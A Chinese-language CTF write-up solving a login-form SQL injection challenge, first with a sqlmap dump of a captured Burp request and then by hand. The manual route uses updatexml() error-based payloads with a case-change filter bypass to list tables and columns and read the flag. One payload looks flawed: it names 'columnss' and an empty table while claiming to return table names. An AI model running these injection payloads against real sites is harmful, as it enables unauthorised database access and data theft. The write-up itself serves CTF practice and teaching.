目录
题目
做题前获取的信息
F12查看源码得到提示
依照题目信息,post提交数据。
一鱼三吃
sqlmap
随便输入用户名,密码 提交 burp拦截 右键 Copy to file 文件保存为2.txt
我用的burp是在windows环境下的,所以把2.txt 复制放在kail桌面。(也可以自己在虚拟机创建一个2.txt文件 ,把bp中的数据粘贴到文件中)
桌面打开终端用sqlmap 一把嗦 (dump 命令把数据全输出 不需要查库查表查字段!麻烦!)
sqlmap -r 2.txt --dump
得到flag
burp手注
输入用户名为aaaa 密码为 1234 (其实可以随便输入)依照提示在url后面加上?tips=1
抓包后,右键点击send to repeater模块
开始测试
使用一些一般的语句,发现只是报错,没有回显有用信息
使用 updatexml 函数使其回显
SQL注入之错误注入_基于updatexml()_wangyuxiang946的博客-CSDN博客
构造payload
name=aaaa'+or+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())),1)#&pass=1234
报错,
怀疑是进行了某些过滤,尝试到大小写可以绕过。
构造payload (这个语句能直接获取表名,不用先判断数据库。)
name=aaaa'+or+updatexml(1,concat(0x7e,(Select+group_concat(column_name)+from+information_schema.columnss+where+table_name='')),1)#&pass=1234
得到表名fl4g
查询字段
name=aaaa'+or+updatexml(1,concat(0x7e,(Select+group_concat(column_name)+from+information_schema.columns+where+table_name='fl4g')),1)#&pass=1234
得到字段名flag
查询fl4g的值
name=aaaa'+or+updatexml(1,concat(0x7e,(Select+flag+from+fl4g)),1)#&pass=1234
得到flag。
python自动化脚本
.......自己python编写脚本的能力还差了点,这里放出一位博主的文章。